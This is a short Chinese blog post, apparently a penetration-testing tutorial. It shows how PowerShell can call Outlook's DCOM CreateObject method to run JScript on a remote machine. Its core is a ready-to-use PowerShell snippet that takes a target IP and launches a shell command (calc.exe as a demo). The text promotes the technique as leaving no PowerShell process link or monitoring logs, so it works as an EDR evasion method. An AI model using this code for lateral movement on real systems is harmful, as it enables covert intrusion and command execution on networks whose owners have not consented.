使用Outlook的CreateObject方法和DotNetToJScript横向渗透

最新推荐文章于 2024-11-19 11:16:37 发布

FFE4

最新推荐文章于 2024-11-19 11:16:37 发布

阅读量693

点赞数

CC 4.0 BY-SA版权

分类专栏：心情杂货铺文章标签：横向渗透 Outlook DCOM 绕过EDR

本文链接：https://blog.youkuaiyun.com/cssxn/article/details/100084044

心情杂货铺专栏收录该内容

47 篇文章

订阅专栏

本文介绍如何利用Powershell调用Outlook的DCOM组件执行JS脚本，实现远程控制任务，如运行calc.exe。此方法绕过常规监控，不留下明显日志痕迹，适合高级渗透测试或自动化办公场景。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

原理：通过powershell调用Outlook的DCOM组件，可以执行js脚本，原文中的demo是结合DotNetToJScript框架+C#程序来做的，我这里比较懒，直接用js写的脚本。

由于是COM调用，所以进程链关系不会关联到powershell。通过Process Monitor等工具也监控不到相关日志。

运行效果图：
在这里插入图片描述

Powershell代码：

$com = [Type]::GetTypeFromProgID('Outlook.Application’,’这里替换成你的IP’)
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject(“ScriptControl”)
$RemoteScriptControl.Language = “JScript”
$code = "var ax = new ActiveXObject('Wscript.Shell');ax.run('calc.exe',0)"
$RemoteScriptControl.AddCode($code)

参考资料：https://posts.specterops.io/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript-a88a81df27eb